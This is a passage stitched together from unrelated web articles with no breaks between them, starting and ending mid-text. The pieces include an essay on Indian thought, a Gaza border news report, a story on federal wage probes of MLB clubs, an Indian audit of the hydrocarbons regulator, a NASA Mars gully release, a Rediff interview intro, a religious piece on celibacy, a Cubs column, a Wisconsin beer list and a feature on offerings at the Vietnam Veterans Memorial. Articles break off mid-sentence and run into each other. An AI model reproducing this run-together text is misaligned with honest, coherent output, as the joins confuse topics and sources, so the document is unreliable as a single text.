hatever the outcome, the meeting between these two cultures sets the context for the puzzle I spoke of earlier. Let me remind you what that puzzle is: what were the Indian thinkers doing in the course of the last two to three thousand years? What did they think and write about? Did they make contributions to human knowledge? If yes, what are they? To these questions, we have one set of indirect answers. In course of the last three hundred years or so, the mainstream theories in social sciences and humanities carry on as though Indian thinkers have made no substantial contributions to human knowledge. However, almost without exception, this splendid corpus of writings about human beings embodies assumptions of the Western culture. Not only have the Western intellectuals created these theories in humanities and social sciences; they also express how this culture has looked at the world so far. Generations of Indian intellectuals have accepted these answers as more or less true as well. The future generations will not be so accommodating though: they will test these answers for their truth. Even today, more and more people in India are gravitating towards this kind of research. This is not of mere academic interest to such people, whose numbers steadily increase. More than most, they realize that answers to these and allied questions have the potential to ignite an intellectual revolution on a world scale.
My own research, and that of many more in India and Asia, is focused on answering the puzzle. Within the scope of this article, I cannot even hope to tell you what the research results are. Therefore, I am forced to take a rain-check. Nevertheless, let me indicate the far-reaching nature of these results.
Even a limited acquaintance with the Indian or Asian culture tells us that their thinkers have also produced multiple ‘theories’ about human beings, which express the way the Indian or even Asian culture looks at the world. Yet, these theories are also contributions to human knowledge. This knowledge is about many things: the nature of human beings, the nature of ethics and morality, how human beings learn, what happiness is and how to reach it, what we could know about human beings… In short, this is knowledge about us; it is also about what we can know, what we might hope for and what we should be doing. As the Indian and the European cultures differ from each other, so do their views about human beings.
The European intellectuals have elaborated their stories so far. The Indians and the Asians will do the same in the course of this century. These two sets of theories will meet on the world arena too, as equals and as competitors. Today, we think that the European story about human beings constitutes knowledge. That is because there are no competitors to this story as yet. How about tomorrow, when there will be competition in the marketplace of ideas, and Indians and Asians come up with other and different theories?
So, by the end of this century, there will at least be two different sets of stories about human beings, their societies and cultures. One that the West has produced and the other that India and Asia will develop. Only one of these can be true or both will be false. However, these are issues for tomorrow. Today, let us merely appreciate why the theme of this article is so important to all of us.
S.N. Balagangadhara is Director of the Research Centre Vergelijkende Cultuurwetenschap, Ghent University, Belgium and Project Coordinator of the European Commission Asia-Link project DEVHAS -- Development of Human Resources And Strategies -- and this article was written for a DEVHAS project for education on the stereotypical images and cultural differences between Europe and South-Asia, within the European Commission Asia-Link Programme - a programme dedicated to higher education networking between Europe and Asia.GAZA CITY (Ma'an) -- Israeli forces deployed on the border in the southern Gaza Strip on Friday morning opened fired at Palestinian homes and properties in the area, witnesses said.
Israeli forces deployed near the Kissufim military base opened fire east of al-Qarrara, located north of Khan Younis, twice early Friday, once after midnight and again later in the morning, the witnesses told Ma'an.
They said the attacks were fired toward Palestinian homes in the area, but that no injuries were reported.
The incident came only hours after Israeli forces fired a tank shell into the Gaza Strip on Thursday after claiming that shots had been fired at an Israeli military vehicle near the border.
Although the shell caused no reported injuries, it marked the most serious escalation on the Gaza border since the end of a massive Israeli assault over summer that left nearly 2,200 Palestinians dead and over 11,000 injured, the vast majority of them civilians.
While Hamas has largely abided by the terms of the ceasefire and prevented any rocket fire into Israel, Israeli authorities have been slow to carry out their responsibilities according to the ceasefire, particularly in easing the eight-year old siege on the Gaza Strip.
Additionally, Israeli forces have repeatedly violated the ceasefire by firing at Palestinians inside Gaza near the border fence as well as at sea, killing one on land and damaging numerous fishing boats.
Fadil Muhammad Halawah, 32, was shot dead on Sunday while hunting birds east of Jabaliya. He was the first Palestinian to be killed by Israeli forces in the Gaza Strip since the signing of a ceasefire agreement in late August.Two Major League Baseball clubs–the San Francisco Giants and Miami Marlins—are under investigation by the U.S. Department of Labor for possible federal wage law violations. The investigations come amid wider concern about questionable pay practices throughout professional baseball, according to interviews and records obtained by FairWarning under the Freedom of Information Act.
Labor Department spokesman Jason Surbey confirmed the investigations of the Marlins and Giants, but would not give details. However, emails reviewed by FairWarning show that possible improper use of unpaid interns is a focus of the Giants probe. It is the Labor Department’s second recent investigation of the Giants over pay practices involving lower level employees.
The Giants declined comment when contacted for this story, but the day after publication issued a statement confirming the probe involves the internship program.
“”The Giants have an established, highly sought-after internship program where students have the opportunity to gain real world experiences while earning school credit,” the statement said. “In the past, interns were paid monthly stipends in addition to receiving school credit. Interns now are paid at or above minimum wage on top of receiving school credit.”
A Marlins spokesman said the club does not believe “that any of the Marlins’ current labor practices are improper….We can confirm that the Marlins have been and will continue to cooperate fully with the Department of Labor.” Major League Baseball officials could not be reached.
Officials with the department’s Wage and Hour Division announced in August that the Giants had resolved the prior case by agreeing to pay $544,715 in back wages and damages to 74 employees. Many were clubhouse workers the agency said were paid at a daily rate of $55, but who sometimes worked so many hours that they got less than minimum wage and no overtime. The federal minimum wage is $7.25 per hour.
In announcing the settlement, Susana Blanco, director of the San Francisco district office of the Wage and Hour Division, said she was “encouraged that the Giants acted to resolve this issue,” but disappointed ”to learn that clubhouse workers providing services to high-paid sports stars weren’t making enough to meet the basic requirements of minimum-wage law.”
The Giants were also found to have improperly classified some workers as exempt from overtime pay, including clubhouse managers and video operators at both the parent team and its minor league affiliates.
The Giants in June also reached a $500,000 settlement in a private class action suit on behalf of security guards, who had claimed they were owed back pay for overtime and for working through breaks and meals.
According to a Sept.12 memo from the baseball commissioner’s office to presidents of the 30 Major League clubs, the Labor Department concluded from the first Giants investigation that questionable pay practices “are endemic to our industry.” Following a series of discussions and emails between the Wage and Hour Division and baseball officials, the league office summoned representatives of all Major League clubs to attend a meeting with labor officials in Orlando, Fla., next month.
The meeting was scheduled after the agency urged the commissioner’s office to take action on what an email described as the “catalog of issues” raised by the Giants case. The issues included improperly exempting certain employees from overtime pay, and paying daily rates that might fall short of the minimum wage depending on the number of hours worked.
Another issue was unpaid interns. This “was not part of the completed investigation” of the Giants, an email said, “but…has subsequently been raised.”
Unpaid internships, which are especially prevalent in industries such as entertainment, media and professional sports, have generated growing controversy and some successful private litigation. According to Labor Department guidelines, unpaid internships are proper only when designed for the education of the interns, and not to benefit the employer or displace regular workers.
Major League Baseball does not control employment practices of individual clubs. But since the Giants case, the Wage and Hour Division has leaned on the commissioner’s office to help bring teams into compliance. Much of the contact has been between George Ference, Wage and Hour’s regional administrator in Philadelphia—the nearest regional office to the baseball commissioner in New York—and Rob Manfred, chief operating officer for the league.
An Aug. 8 email from Ference asked Manfred about “the specific steps that MLB plans to take” to ensure “compliance with issues uncovered in the Wage Hour investigation of the San Francisco Giants.” In a followup email on Aug. 12, Ference wrote: “What I need to be able to do is explain…exactly how we are working collaboratively to ensure that other franchises are moving toward compliance.”
Ultimately, they scheduled a presentation by Labor Department officials during next month’s meetings of baseball owners and general managers in Orlando.
“Each Club must send at least one representative to the DOL presentation,” said the memo from Manfred and Dan Halem, MLB’s senior vice president and general counsel. “In the interim,” the memo said, “we strongly suggest that each Club consult with its employment counsel…to ensure compliance.”
Myron Levin owns a 2.2 percent stake in a minor league baseball club, the Hillsboro (Ore.) Hops. This story was updated on Monday, October 28.Government auditor CAG today said that the Directorate General of Hydrocarbon (DGH) should be given autonomy in discharging regulatory functions while working at arm's length with the oil ministry.
In its much-awaited audit report of fields operated by firms like Reliance Industries, the Comptroller and Auditor General of India (CAG) said that the role of the DGH be clearly demarcated into regulatory and technical functions.
DGH, which advises Oil Ministry on technical issues concerning oil and gas exploration and production, is not an independent entity, Deputy CAG Rekha Gupta said at a press conference called to brief about the findings in the report that was tabled in Parliament today.
The CAG wanted DGH separated from the executive.
"They are regulator and they should not have executive powers. There should be an arm's length distance between executive and regulator," Gupta added.
"In our view the roles and functions of DGH encompass two sets of functions with potential conflict of interest -- an upstream regulatory function, and a function of rendering technical advice of government of India. Consequently, we
recommend that the functions currently discharged by the DGH be clearly demarcated," it said.A comparison of images taken by the High Resolution Imaging Science Experiment (HiRISE) camera on NASA's Mars Reconnaissance Orbiter in November 2010 and May 2013 reveal the formation of a new gully channel on a crater-wall slope in the southern highlands of Mars.
These before-and-after images are available online at http://www.jpl.nasa.gov/spaceimages/details.php?id=PIA17958.
Gully or ravine landforms are common on Mars, particularly in the southern highlands. This pair of images shows that material flowing down from an alcove at the head of a gully broke out of an older route and eroded a new channel. The dates of the images are more than a full Martian year apart, so the observations did not pin down the Martian season of the activity at this site. Before-and-after HiRISE pairs of similar activity at other sites demonstrate that this type of activity generally occurs in winter, at temperatures so cold that carbon dioxide, rather than water, is likely to play the key role.
HiRISE is operated by the University of Arizona, Tucson. The instrument was built by Ball Aerospace & Technologies Corp., Boulder, Colo. The Mars Reconnaissance Orbiter Project is managed for NASA's Science Mission Directorate, Washington, by NASA's Jet Propulsion Laboratory, a division of the California Institute of Technology in Pasadena.
For more information about HiRISE, see http://hirise.lpl.arizona.edu. For more information about the Mars Reconnaissance Orbiter, visit http://www.nasa.gov/mro.Last updated on: February 26, 2014 16:12 IST
'My wife was asked to get out of an autorickshaw because she was married to me. My children were targeted and branded a traitor's children.'
'In spite of the Supreme Court and the NHRC having cleared my case, the state government is yet to close it. Local politicians are behind this. Why can't they close the case, give me compensation, accepting gracefully that they have wronged me?'
Dr S Nambi Narayanan, the scientist who was accused and then exonerated in the 1994 ISRO spying case, speaks to Rediff.com's Shobha Warrier about his continuing travails and his recent meeting with Narendra Modi.
S Nambi Narayanan, left, joined the Indian Space Research Organisation as a scientist in 1966, and was instrumental in introducing liquid fuel rocket technology in India in the early 1970s.
He and his team also developed the Vikas engine used in many ISRO rockets, including the Polar Satellite Launch Vehicle that took Chandrayaan-1 to the moon. The Vikas engine was used in the Geo-Synchronous Satellite Launch Vehicle too.
He was in charge of ISRO's cryogenics division when the ISRO espionage case broke out in 1994. Dr Nambi Narayanan was arrested by the Kerala police for allegedly passing secret
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the core of genuine celibate chaste living. Prayer and a growing relationship with God are essential elements.
Many problems in a life of celibate chastity, however, can’t be prayed away; rather, they must be talked about with others as well as God. Consider a young brother who falls in love. He needs, first of all, to talk with his trusted advisors and friends about his feelings and the meaning and place of this relationship in his life. A regular life of prayer is essential to the celibate chaste life; so also, is honest conversation.
6. The myth that one chooses celibate chastity because one can’t make it elsewhere
This myth is based on the following false observation about people who choose lives of celibate chastity: “The poor things, what else could they have done with their lives!” Men and women who are living vibrant lives of celibate chastity are very attractive people. Their lives, like those of others, have rewards and drawbacks. However, they usually did not choose their lives by default.
So just what is celibate chastity? When all is said and done, celibate chastity can best be described as an affair of the heart. No one wants to live without love. Doesn’t it stand to reason, then, to insist that unless a life of celibate chastity leads those who live it into greater union with God and with other people, they would be foolish to embrace it?
In choosing to live a life of celibate chastity, a person takes on a particular spiritual and sexual identity. Jesuit philosopher Bernard Lonergan, S.J., compares this experience to an otherworldly falling in love. Yes, a total and permanent self-surrender to God without condition, qualification, or reservation.
Herein lies the challenge of celibate chastity: the spiritual life must be at its heart. You and I can learn all there is to know about human sexuality, but unless we have come to grips with what it means to be a spiritual person, we will never be at home with a life of celibate chastity.
Those who embrace a life of celibate chastity, then, must commit themselves to live with passion—to be deeply spiritual and sexual at the same time. To discover anew the fire that longing for the Lord—that they know full well burns brightly within each of them. And, thus, over time they learn to be more at home with themselves and with the Lord, but now on his terms and with infinitely more knowledge about his ways. Is there any apt description of these men and women who eventually live fully a life of celibate chastity? Yes, deeply spiritual and profoundly human is the only one that fits!
Adapted with permission from An Undivided Heart: Making Sense of Celibate Chastity, by Seán Sammon, F.M.S., published by Alba House.Baseball isn't immune to typecasting. It is a game that is as closely observed as any sport -- yet it is every bit as prone to being watched without really being watched. It is prone to pre-determined judgment based on nebulous concepts such as body language and on through to those things we consider to be irrefutable data -- such as advanced metrics.
Matt Snyder today wrote an excellent piece on how the stigma of Starlin Castro being "lazy" has permeated the perception of fans and professionals alike. Starting with the infamous Bobby Valentine rant and then perpetuated by Bob Brenly (and certainly not helped by poor communication from his first two managers), the narrative has been hard for Castro to shake. Beliefs die hard, even in the face of hard evidence.
In Snyder's piece today, Castro's teammates rallied around him. Jason Hammel "loves him" -- and that started since he got to know the young SS last season. Dexter Fowler, on the other hand, brings a fresh eye to the situation.
"He's a great dude, a great teammate," said first-year Cub Dexter Fowler. "He works hard, day in, day out. Playing against him, you never really get a good appreciation of his work ethic." "People come up with these knocks and you never know where they came from. You wish someone would step up and say 'I was wrong,' but no one ever does that."
Indeed, few ever admit they are wrong. Both fans and professionals are invested in being "right" and will cling to beliefs, even when those beliefs are based on anecdotes and innuendo. Conversely, they can also be based on what appears to be hard data.
Maybe Dexter Fowler has empathy for Castro because he himself has experienced having to fight his own narrative first hand. For Fowler it has been his defense.
It isn't hard to find the source for the Fowler narrative. It is based on the readily available defensive metric UZR/150. Fowler's 2014 rating of -20.6 is about as poor as you can get.
But nobody wants to admit it is that metric that has been the lone source of their evaluation. Sure some may try to add scouting information, but what we really often see is selectively scouting to confirm the bias based on that number. We call that scouting the stat sheet. We're told he gets bad jumps and reads, that he takes inefficient routes -- and they are so invested in this that even when he does make a great play, it will be said that he outran a mistake. And finally, when it becomes impossible to deny he is playing well, we will see attempts to find reasons why he suddenly 'improved' his reads and routes out of the blue in his age 29 season.
Anything but have to admit that maybe, just maybe, they were wrong. Was it really objective, open-minded observation or have they just been seeing what they've expected to see. If you were among those who debated the conventional opinion on Fowler, then the metrics were inevitably brought up as irrefutable evidence -- but isn't that really just circular logic?
Fowler's defense was never questioned by scouts as a prospect. In fact, they believed it to be above average and one of his strengths. What changed? Nothing. The more interesting subject is how the perception of bad defense may have developed in the first place.
It has been my observation that Fowler was simply playing too shallow and that the pattern seemed to be that players who played shallow tended to be those with the lowest UZR/150.
... no outfielders had to run back on the ball more than Fowler and DeJesus. Most people who have played the outfield will tell you it is much more difficult to go back on the ball than it is to come in on it. Perhaps it is no coincidence that the CF'ers in the study generally graded out pretty poorly in CF.
There was no way to know if this was correct, but one of the first things manager Joe Maddon did with Fowler is to have him play deeper on defense, so this was our chance to see. So far, so good. Fowler ranks 7th in baseball in what is admittedly a small sample size. His UZR/150 rating of 18.7 is almost the polar opposite of 2014. But it isn't just the number, Fowler passes the eye test in CF. He has gotten solid jumps and shown very good range. He absolutely eats up ground with long, fluid strides. We haven't seen anything to indicate that previous statistics -- or those scouting reports based on those numbers -- have been accurate.
“The data suggests more extra base hits and more runs are taken away (by playing deep),” he explained. “I switched my thinking. I looked at the stuff and I was wrong.”
So Fowler has to be happy that someone did admit he was wrong and not just anyone, but his new manager. It can even happen to someone as successful and experienced as Joe Maddon.
And by being willing to admit he was wrong, Maddon was able to do right by Fowler and the Cubs.
You see that Bobby Valentine...wherever you are now?When the heat in Wisconsin reaches sweltering levels, it’s time to break out the lawnmower beers. While I tend to fall more on the big and dark end of the beer spectrum, even I can admit that they are not suited to yard work on a 90-degree day. (An air conditioned house set to 68, on the other hand? Pour me another barrel aged stout!) Here are my picks for the most refreshing local beers in the dog days of summer.
Parched Eagle – Westporter Weisse
Parched Eagle’s offerings often correlate closely to their BJCP style descriptions, and the Westporter Weisse is no different. The BJCP notes: “A sharply sour, somewhat acidic character is dominant,” and that’s exactly what you’re getting. If it’s too sour for your tastes, have it mit schuss (with a shot of fruit syrup) to help balance. For me, bring on that delicious grainy-wheat tartness.
Next Door – Livacious
I have a general distaste for non-sour Belgian beers. (This should probably disqualify me from having a beer column altogether, but the great Winnebozho has yet to catch on.) I make an exception for saisons, however, and Next Door Brewery’s is quite tasty. The fruity esters of the style work well with Next Door’s additions of peach blossoms, lavender and white tea. Lavender is usually an ingredient that scares me away from a beer, lest it render the beer soapy, but Next Door achieves success through restraint here. Try to get it fresh from their taproom if possible, as I’ve found Next Door’s sixer distribution to be a bit inconsistent.
New Glarus – Sours: Belgian Red, Raspberry Tart, Serendipity, Strawberry Rhubarb, and R&D
Despite only distributing in Wisconsin, the sour beer program at New Glarus has earned national praise and recognition. If you get the opportunity, head out to the brewery for one of their R&D releases — the next one is scheduled for Aug. 11-12 to coordinate with the Great Taste — and grab a bottle or two from brewmaster Dan Carey’s playground. Otherwise, these fruited brews are available everywhere around town and certainly do not disappoint.
Karben4 – Idiot Farm
A double IPA might be a little too strong while you’re mowing the lawn, and at 8.4% ABV it isn’t going to be the first thing I reach for after a long day of yardwork. (Please, mow and drink responsibly.) That said, Karben4 just released this one last week and it’s a great summer seasonal for when you’ve got the grill going and the bonfire kicking. Mosaic, simcoe, and citra hops all contribute to a fruity hop bomb that finishes a touch sweet. Tipsy Cow is hosting an all-day release party this Friday, June 16.
Ale Asylum – 12 oz. Curl
Pilsner is having a bit of a moment in the craft beer world as consumers realize there is more to the style than the dirty water offered by the Clydesdales. A fresh, clean, and crisp style with just enough malt backbone to carry and balance the noble hops makes this brew the very definition of a lawnmower beer. Unfortunately, Ale Asylum went and screwed up the release of this summer beer by dropping it in February and ending distribution in April. A few bottles are still floating around the Madison area for the cognizant consumer.
Funk Factory Geuzeria
Grab whatever is available. Seriously. When it comes to lambics, Levi Funk can do no wrong. The anticipation of sour beer fans for the grand opening of FFG’s taproom on June 23 is palpable. Do yourself a favor and try them all.When the Vietnam Veterans Memorial opened 30 years ago this month, something unexpected happened: People started leaving things at the wall. One veteran has spent decades cataloging the letters, mementos, and other artifacts of loss—all 400,000 of them.
Six white votive candles are left burning at the base of the
wall after everyone has gone. There are only the candles and the flickers
of light that dance above them. Lit from below, the names carved into the
face of the wall don’t stand out as words. Instead you see fingerprints
where a name has been touched, marked by the oils from living
skin.
It’s almost 2 in the morning on Memorial Day 2012. Usually the
Vietnam Veterans Memorial would have a carpet of mementos and letters in
front of it on this, the eve of Rolling Thunder, when thousands of
veterans, motorcycle riders, and onlookers congregate in Washington.
Indeed, they thronged to the wall earlier and left hundreds of cards,
grandchildren’s drawings, and teddy bears plus one rolled-up canvas that
might have been a tent or a tarpaulin. But tonight the rangers have
cleared everything away by order of the Secret Service. The President will
speak here tomorrow.
All of these items are, officially, suspect.
Bernie Pontones got here late, after the sweep-up. Bernie’s a
sixtyish guy with a long white ponytail, a veterans’ advocate in Grove
City, Ohio. He placed a candle in front of the wall for each of six men
who remain in his thoughts.
A teddy bear decorated with uniform name tapes was left by a member of a California chapter of Vietnam Veterans of America.
Photograph from the book Offerings at the Wall courtesy of Turner Publishing.
Ask Bernie about them and he’ll tell you what he remembers or
has pieced together: Greg, the kid he knew from church, was killed when a
runway was mortared and his plane flipped and burned. Sammy, who’d been in
Bernie’s platoon, turned to his buddy and yelled, “Get down!” instead of
getting down himself. Gerald, who trained with Bernie at Fort Benning, was
in country less than a month when he bought it. Bernie doesn’t know how.
The sergeant, who heard a noise and threw his grenade. It bounced off a
tree right back at him. His body shielded the blast for the rest of the
men, including Bernie. Robert, from high school—Bernie doesn’t know how or
why or when, but he died late in the war, when the end was in sight and
death seemed particularly cruel. Ron, who had volunteered for active
combat. They say he slipped in the rain, fell, and somehow detonated his
grenade. Damnedest thing.
Despite the solemn setting, Bernie’s almost giddy tonight,
leaving burning sage all around the wall, less because he believes in the
herb’s healing powers than because it strikes him as a silly, New Agey
thing to do. And he believes in the healing powers of silliness. He
laughs, remembering the monkeys that threw rocks at them over there.
“Lifer fragged himself” is how he tells the story of the sergeant, the
grenade, and the tree.
This candle-lighting ceremony is cathartic for him, he says, a
long overdue release: During the war, there was no time to process all the
sudden death. As they said at the time, “F— it. It don’t mean nothing.”
You had to postpone your mourning.
“If you were distracted by grief,” Bernie says, “you couldn’t
keep yourself safe.” You’re fighting a war. You’ll have the rest of your
life to grieve.
Bill Schools is here with Bernie. He’s more interested in
conversation than in the wall tonight. Bill’s a Rolling Thunderer who’s
here in the wee hours because that’s the only time Bernie will come.
Bernie is still bothered, all these years later, by crowds and camera
flashes.
So now the members of this small contingent from Vietnam
Veterans of Ohio, who drove eight hours to get here, have the wall to
themselves.
Chris Smith came with them. He doesn’t look for any names. He
kept his distance over there—that’s how he protected his psyche. Chris
doesn’t look at the wall for more than a few seconds, even when standing
right in front of it. His eyes don’t rest. He doesn’t always come along,
but Bernie and Bill persuaded him this year.
The men leave, and as soon as their voices fade, all that
remains is their flickering gifts.
Without Bernie to explain them, the candles have no story.
They’re six pieces of a puzzle that could depict anything at
all.
The wall is about stories. The little ones are told in the
letters and objects left behind—eccentric items that speak of matters so
intimate they may be indecipherable except to two people—one living, one
dead. Bullet casings soldered into a circle. Five cans of fruit salad. A
teddy bear, loved threadbare. A harmonica. An ace of spades. A handful of
gravel. A model carousel. A toothbrush. Graduation tassels. They’re all
pieces of a larger story still under revision, about the meaning of an
unpopular war conducted in a small country among three superpowers with
competing geopolitical ideologies—a proxy war with inchoate objectives
that killed a lot of people and sent others home in varying states of
disrepair.
That story is complicated.
Along with this offering was a note: “Left for our beloved only son, Dead at age eighteen.”
Photograph from the book Offerings at the Wall courtesy of Turner Publishing.
But it’s one the National Park Service relentlessly pursues.
Bernie’s candles are gathered up by park rangers and put into big blue
boxes. The boxes are hand-trucked and golf-carted to a temporary storage
room near the Washington Monument, where they await transport to the
Museum Resource Center, or MRCE, pronounced “mercy,” a gleaming modern
facility in Maryland that houses 40 historic collections from National
Park Service sites around the region. The candles get 30 days or more of
isolation and are checked for organic matter—flowers, potpourri,
marijuana, unsealed food, tobacco, anything that might carry mold. That
stuff is “deaccessioned”—thrown out to protect the rest of the
collection.
Then the artifacts go into the cotton-gloved hands of Duery
Felton Jr., curator of the Vietnam Veterans Memorial Collection, a
decorated Vietnam veteran who has devoted himself to this work for 25
years.
Felton is a young-looking 65. He’s compact, with a shaved head
and a cane he sometimes carries but rarely uses. He works in blue cotton
garments that resemble scrubs, and he moves with grace. Give him a mask
and he might be a surgeon.
Duery Felton doesn’t want to be written about. Ask him about
his thoughts and feelings—how his life would be different if there were no
Vietnam Veterans Memorial or what the hardest part of his job is—and he
answers the question he wishes you asked instead.
He pauses, touches his fingertips to his closed eyelids, and
begins: “I can tell you this one because he has died.” He answers your
question about him by talking about others. Even then he won’t give a name
or even an approximate year. Part of his sacred duty is keeping the
secrets of the 58,282 people named on the wall and their loved
ones.
Get him off the record and his face softens, his eyes widen,
and he smiles easily. But he’s wary of expressing opinions and thoughts of
his own or imposing his meanings on the objects he curates. Being
interviewed is part of his job, but he speaks as a representative of the
National Park Service, not as Duery Felton.
Profoundly injured during the war, Felton will sometimes tell
some of his story and sometimes not. He’ll sometimes confirm or deny what
others have written about him, and he’ll sometimes smile and change the
subject. Before media and researchers are allowed into the facility where
the collection is housed, they must sign a document affirming that
collection staffers have the right to refuse to answer questions or give
personal opinions.
Which of course they do with or without such a document. But
Felton prefers it this way.
There’s no mystery about Felton’s importance to this project.
Even a generation later, veterans and veterans’ groups remain mistrustful
of the government but not of Felton, who’s their go-between. Objects show
up at the wall addressed to him.
“Duery—you will understand,” reads an envelope containing a war
diary. When rumors went around that the collection was stored in a leaky
room with rats, Felton invited veterans’ groups to see the acid-free boxes
and the temperature-controlled rooms where the objects are kept, alongside
Clara Barton’s furniture and Frederick Douglass’s piano.
Even now, Felton proudly shows off a tableful of insect
traps—used—each with a number denoting where in the facility it was
placed. The contents of the traps are entered into a database to track
incipient infestations. Felton is guarding treasures.
His insistence on his own privacy, however, has attracted all
the more curiosity. In, of all places, Wiki Answers, where anyone can
answer any question at all (Q: How many types of rhinos are there? A:
Five), one of the questions is “What happened to Duery Felton Jr. in
Vietnam?”
It remains unanswered.
Even before Duery Felton joined the staff at MRCE, his knowledge was valuable. When someone left a package of M&M’s, for example, he knew it might be because M&M’s were used as a placebo when morphine pills ran out. Photograph by Jeff Elkins.
Bernie’s candles will be examined, cataloged, wrapped in a
plastic bag, and put in a blue box. And there they’ll sit, with the
hundreds of thousands of other pieces of grief in the collection, until
we’re all dead.
According to legend, the first object left at the wall was
someone’s dead brother’s Purple Heart, thrown into the cement as the
foundations were poured for the black granite panels. By the end of the
opening ceremony 30 years ago this month, lots of people had laid down
mementos. No one anticipated that. No one had any idea people’s immediate
reaction would be to do what so many returning vets say they did in
Vietnam: leave something of themselves behind.
This impulse was an entirely new phenomenon, unknown at other
memorials. It seemed to be instinctive, long before anyone knew, or even
suspected, that the things they left would be kept.
Eleanor Wimbish, a homemaker from Cecil County, Maryland, near
the northern end of the Chesapeake Bay, wrote to her son Billy as soon as
she ran out of thank-you notes for the flowers and food people had sent to
his funeral. She just kept writing, letters she wouldn’t finish, or would
finish, then rip up.
Lots of letters are addressed to “Dad.” This one came with sonogram images of a soldier’s grandchild. A cast of the child’s hands was later left at the wall.
Photograph from the book Offerings at the Wall courtesy of Turner Publishing.
“It was all a secret until the wall,” she says. She lived near
enough to become friendly with the guys who stood vigil at the
construction site—vets who heard rumors of threats to bomb the memorial.
She brought them sandwiches.
The first year after the dedication, she wrote seven letters to
Billy and left them at the wall. The second year, six. Before anyone
realized the value in keeping what people left at the wall and before
there was a systematic collection system, Wimbish was leaving letters.
Before she knew anyone would see them or save them. Before she knew she
wasn’t the only one who felt compelled to leave something. She couldn’t
tell you why. Can’t tell you for sure even today.
She doesn’t write to Billy anymore. She’s 85 now, and her
husband, another son, and two grandsons have passed, too. Too many letters
to write. But Felton pulled all her letters for her, as he will for others
who ask, so she could come see them again this year, in case it’s her last
chance.
The memorial’s design is such a great story you’ve probably
heard all about it. The vet, Jan Scruggs, who watched The Deer
Hunter in 1979 and then concluded that the names had to be
remembered. His struggle with Congress to get a plot of land on the
Mall.
The design contest was open to everyone. Entries had to
incorporate all the names of the dead and missing members of the US
military and had to make no political statement about the war. As the
planners put it: “The hope is that the creation of the Memorial will begin
a healing process.”
Essentially, the contest asked: Please design a piece of art
that makes no statement whatsoever while somehow attending to the psychic
wounds of hundreds of thousands of people. And—oh, yeah—leave room for
almost 60,000 names.
A committee of eminent artists would judge entries by number,
not by name, a little decision that proved huge: There would be no stigma
attached to an idea by an absolute nobody.
Up in New Haven, Yale undergraduate Maya Lin and her classmates
were taking a course in funerary architecture, and the contest became
their final project. Lin came down to look at the piece of land where the
memorial would sit, and she came up with the design we have today. The
committee unanimously chose it. Somehow, over the objections of some
veterans and Congress members and the Secretary of the Interior, her
vision got built.
The footage from the press conferences is still amazing. In the
first one, Lin giggles and tosses her hair. In another, she joins a
roomful of suited veterans and officials at least ten years older than she
is. She wears a giant, ridiculous gray hat, begging to be called eccentric
and arty. She doesn’t giggle in that one. In a 1994 documentary, Maya
Lin: A Strong Clear Vision, she hardly ever smiles. You learn a lot
from your first press conference.
The ashes of a copy of the 1995 memoir “In Retrospect” by Robert S. McNamara, who was Defense Secretary from 1961 to 1968.
Photograph from the book Offerings at the Wall courtesy of Turner Publishing.
Her design was the first of what Kirk Savage, a University of
Pittsburgh professor of the history of art and architecture, has dubbed
“therapeutic memorials,” created as psychologists began to notice
something they called posttraumatic stress disorder in the vets who came
home to a populace that wished they would shut up about the
war.
Lin’s design is really about the visitor’s experience at the
memorial, a giant V carved into the earth like a knife wound. The viewer
journeys below ground level with the names of the dead, emerging into the
light again when leaving the names behind. The lettering is only about
half the standard one-inch size for inscriptions. You have to get close to
read it. The shiny black granite reflects you as you look at it. The
carved surface invites you to touch it; when you do, a ghostly hand meets
yours. Some early visitors were startled when they got their pictures
developed to see themselves in the wall, taking the picture.
The memorial doesn’t leave you alone. It pulls you in. It
encourages you to dredge up long-buried feelings and to experience them
right there, in semi-public, alongside other mourners.
Veteran Paul Baffico, at a recent luncheon for wall volunteers,
said: “You can physically touch a memory. You can put your hand on a name.
And it’s 6:30 am, July 23, 1970. I can smell it, hear it, feel it—my gun,
the cordite, the madness of a firefight, Hueys coming in. How the hell did
I survive this?”
Everyone who cries at the memorial has something in common.
It’s a mending wall. It invites a particular contemplation by those who
survived and now face the confounding privilege of becoming
old.
And finally, in a way, the wall is a monumental, daring
deception.
By removing all context from the wall, Lin only seemed to be
declining to make a statement. But the absence of context, of course,
wasn’t without meaning—because the memorial says nothing about glory or
sorrow or heroism or democracy or freedom, nothing about making the world
a better place or making a sacrifice for a worthy cause. All that’s left
is loss of life, the only thing everyone could agree on, a single
existential truth. These people are gone, and that’s all there is to say
about the war.
In 1984, when the Vietnam Veterans Memorial Fund officially
gave the memorial to the country, the National Park Service began
semiofficially collecting all the artifacts left at the wall. By then,
Duery Felton was on the board of the DC chapter of Vietnam Veterans of
America, and he visited the facility regularly.
None of the staff at MRCE had Felton’s experience. Someone left
a package of M&M’s at the wall, and Felton knew it might be because in
the war M&M’s were the placebo of choice when morphine pills ran out.
Anything he didn’t already know he could find out from his network of
veterans.
By 1989, the Park Service had hired him part-time as a museum
technician. Even now, in his more senior role as curator, he’s part-time
so that he has time for veteran activism and volunteering.
Felton is careful not to impose his own meaning on the objects.
He doesn’t correct spelling or punctuation when transcribing letters. If a
package or letter comes to the wall sealed, it stays that way. He insists
that Metro cards, car keys, fast-food spoons, and parking tickets be
collected because nobody can say they aren’t meaningful. It might, he
says, be the car the guy always wanted to buy. Nobody knows the
collection, the outpouring of grief, as he does. The collection is part of
him and he of it. There are artifacts he takes out just to look at every
once in a while, but he won’t say which.
The mysteries are always there: the black lace panties, the
Bazooka Joe bubblegum comic strips, the fishing bobber, the Mickey Mouse
ears, the single high-heeled shoe, the GI Joe action figure, the golf
trophy, the taxidermized deer hoof and ankle, the television, the set of
coins hundreds of years old.
The staff at MRCE, Lisa Lichliter (left) and Jeanne Lavelle (right), has to examine and catalog every item collected at the wall. The stream of offerings isn’t letting up. Photograph by Jeff Elkins.
Felton compares the mysteries to Odysseus and the Sirens: “Plug
your ears with wax or you’ll crash on the rocks. It’s seductive, but you
have to learn to read and not to read.” That’s one of the hardest jobs he
has—to read the letters. The content has to be archived, but the reader
can’t, day after day, week after week, let everything fully touch
him.
The letters Felton reads but doesn’t read show poignantly what
changed—and what didn’t—with the passing years. A young woman tells her
father he would have been the best daddy in the world. A soldier can’t
forgive himself for not realizing how badly his buddy was hurt. A
37-year-old woman writes to her lover, who’s still 21.
Mustache, khakis, round pale face. Mike Brady is at the wall at
midday on Memorial Day, standing by a bench, smoking a cigar. He’s already
finished his beer.
“Every year I come back and have a beer and a cigar with my
brother.”
Mike is alone.
Here’s Mike’s story: He and his brother were in Nam together at
